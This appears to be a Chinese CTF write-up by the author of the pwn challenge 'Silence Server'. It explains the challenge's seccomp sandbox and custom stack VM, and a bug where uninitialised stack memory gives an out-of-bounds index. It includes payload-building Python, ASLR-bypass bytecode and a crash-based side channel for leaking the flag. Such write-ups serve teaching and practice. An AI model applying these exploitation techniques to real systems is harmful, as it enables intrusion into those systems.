欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[分享]pwn题Silence Serve

[分享]pwn题Silence Serve

一个不算是太难的pwn题吧。属于正常人类能做出来的题目范畴。

设计思路

这一题的灵感来源于刚刚结束的DEF CON2017的mute和insanity两个题目。结合了这两个题目比较有趣的点之后写出了这题Silence Server。

1.禁用syscall

Silence Server顾名思义,整个题目没有任何一句输出的代码,甚至使用了seccomp来禁用掉了包括write在内的绝大部分系统调用。因为seccomp对系统调用的禁用是不可能被取消的。所以即使能通过透漏控制程序执行或者拿到shell。也无法将flag输出回来。这个是这一题的比较坑人的地方。

下面是禁用syscall的代码。除了白名单中的10个系统调用之外,其他全部无法使用。

void addRule(scmp_filter_ctx ctx, int sysnum) {

	int re = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, sysnum, 0);

	if(re){

		die

	}

}

void dropSyscalls(void) {

	scmp_filter_ctx  ctx;

	ctx = seccomp_init(SCMP_ACT_KILL);

	if(!ctx){

		die;

	}

	seccomp_arch_add(ctx, SCMP_ARCH_X86_64);

	addRule(ctx, 0);

	addRule(ctx, 2);

	addRule(ctx, 3);

	addRule(ctx, 4);

	addRule(ctx, 5);

	addRule(ctx, 6);

	addRule(ctx, 7);

	addRule(ctx, 8);

	addRule(ctx, 12);

	addRule(ctx, 59);

	seccomp_load(ctx);

    return;

}
2.简单虚拟机

这个程序的主体部分是我自己实现的一个非常简单的基于栈的虚拟机。整个虚拟机只有17条指令。除了push_d指令之外的所有指令的操作数都是存放在一个栈中的。类似于x86上浮点指令的语法。当然和普通vm指令不同的一点是这个虚拟机是区分数据与索引的。对于纯粹的数据与索引有两套不同的字节码运算指令。我将64bit数据的最高位作为flag来区分数据与索引。最高位为1的数据将会被解释为索引类型,对这种类型的加减运算将会检查索引边界是否超过栈的范围(可以认为一个固定大小的栈是这个这个虚拟机的所有内存,不能索引超过栈内存的数据)。当然,程序的漏洞其实也就存于索引类型边界没有严格检查的地方。

下面是17个opcode的定义。行为根据名字应该就能猜到。

#define d_add   0x10

#define d_sub   0x11

#define d_mul   0x12

#define d_div   0x13

#define load    0x14

#define store   0x15

#define push_d  0x16

#define change_to_point 0x17

#define p_add   0x18

#define p_sub   0x19

#define cmp     0x1a

#define jmp     0x1b

#define je      0x1c

#define jl      0x1d

#define jg      0x1e

#define stop    0x1f

#define nop     0xff
3.des解密与求解8元一次方程组

最后是程序的输入部分,为了不让程序的输入部分太过直白:) 而且也为了满足后续漏洞利用的一个重要条件。程序需要用户输入des加密过opcode和密钥。我写了一个8元一次方程组,输入的密钥必须是此方程组的解才能进行解密。当然,des不用静态编译肯定是不够意思的:)

破解思路

1.输入数据

为了能够输入数据,让虚拟机执行。首先要做的就是解8元一次方程组来获取密钥。方法和工具有很多z3,angr,matlab,python的数学库。即使是手算我想也不是很困难:-)

然后就是des加密和生成字节码的工作。des加密很简单,我用的是标准的DES-CBC。用python的Crypto库可以轻松加密。至于生成字节码,因为只有17个字节码而且几乎没有后继的立即数。所以直接写一个python字典来替换就可以了。

下面就是生成一个完整payload的代码

opcode_table = {"d_add": 0x10, "d_sub": 0x11, "d_mul": 0x12, "d_div": 0x13, "load": 0x14, "store": 0x15, "push_d": 0x16, "change_to_point": 0x17, "p_add": 0x18, "p_sub": 0x19, "cmp": 0x1a, "jmp": 0x1b, "je": 0x1c, "jl": 0x1d, "jg": 0x1e, "stop": 0x1f, "nop": 0xff}

key = '3xpL0r3R'

def getCode():

    vm_code = ''

    for line in shellcode.split('\n'):

        opcode = line.split()[0]

        if opcode[0] == '#':

            continue

        vm_code += chr(opcode_table[opcode])

        if opcode == "push_d":

            vm_code += p64(int(line.split()[1], 16))

    return vm_code

def des(data):

    if len(data) > 0x400:

        print error

        raise Exception()

    data = data.ljust(0x400,'\xff')

    d = DES.new(key,DES.MODE_CBC, key)

    return d.encrypt(data)

def m(data):

    payload = chr(len(data)/8) + key + data

    return payload
2.漏洞位置以及利用

首先,这题我开启linux上的全部6种二进制漏洞保护:)所以普通的shellcode,栈溢出等是没法用的,而且mmap,mprotect等系统调用都被禁用了。

虚拟机中提供了load和store可以存取索引类型所引用的内存的功能。而且在load和store中其实是不检查索引类型是否越界的。对索引越界的检查全部都是放在索引类型写到栈上的时候。具体来说就是change_to_point,p_add,p_add这3个opcode中会检查。这样可以保证所有写入到栈上的索引类型不越界。程序的漏洞就在于,虚拟机使用的栈是存放在系统栈上的,而且在使用之前没有被初始化过。这样我们可以通过编排数据,来在未初始化的虚拟机栈上构造出一个越界的指针。这样使用load和store来索引的时候就会产生一个越界的读写。从而控制返回值。

3.具体利用细节

首先是如何在虚拟中栈上构造越界的索引。在getCode函数中,输入的加密数据也是储存在栈上的。所以只要在加密数据之后构造就可以了。而且opcode中有stop这个指令,所以不用担心解密出来的错误code。这样就可以在runCode的虚拟机栈上构造出一个越界的索引了。当然,具体的偏移需要好好算一算

然后是pie/aslr绕过。因为aslr和pie的关系。内存中的地址都是随机的。因为没有输出,所以没有办法leak地址。不过只要将返回值读取进来,直接写字节码来对返回地址加减偏移,再将算好的地址写回去。这样就可以在不leak的情况下调用任意的libc函数以及rop了。

下面是读取并计算libc以及程序加载基地址,并且储存在栈最低位的代码

head = '''push_d 0

push_d 0

push_d 0

push_d 0

push_d 0

#

#load addr libc

#

push_d 0x0000000000020830

push_d 0x368

change_to_point

load

load

d_sub

push_d 0

store

#

#load addr elf

#

push_d 0x00000000000008df

push_d 0x369

change_to_point

load

load

d_sub

push_d 1

store'''

side attack

虽然通过漏洞能够成功的执行rop。通过open,read就可以将flag读取到内存中。但是还是没有办法将flag输出出来。所以只能用side attack。我在libc里找到了这样一条rop

当cl等于[rsi]的时候则跳转。否则返回。我们看一下跳转后的代码。

如果我们将rdi设置为0 。就能够让程序崩溃退出。

只要将rsi指向读取到的flag,再通过rop设置cl。这样就可以让flag和我们指定的字节做比较。如果正确程序就崩溃退出。如果错误的话,下一个rop链可以跳转一个getchar来block停住程序。这样就可以根据程序是否崩溃来爆破flag的值了。通过反复的连接测试就可以得到完整的flag。

by explorer



--------

5月28日修改:更新了附件,上传了libseccomp.so.2链接库以方便部署。

上传的附件 Silence Server.zip

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功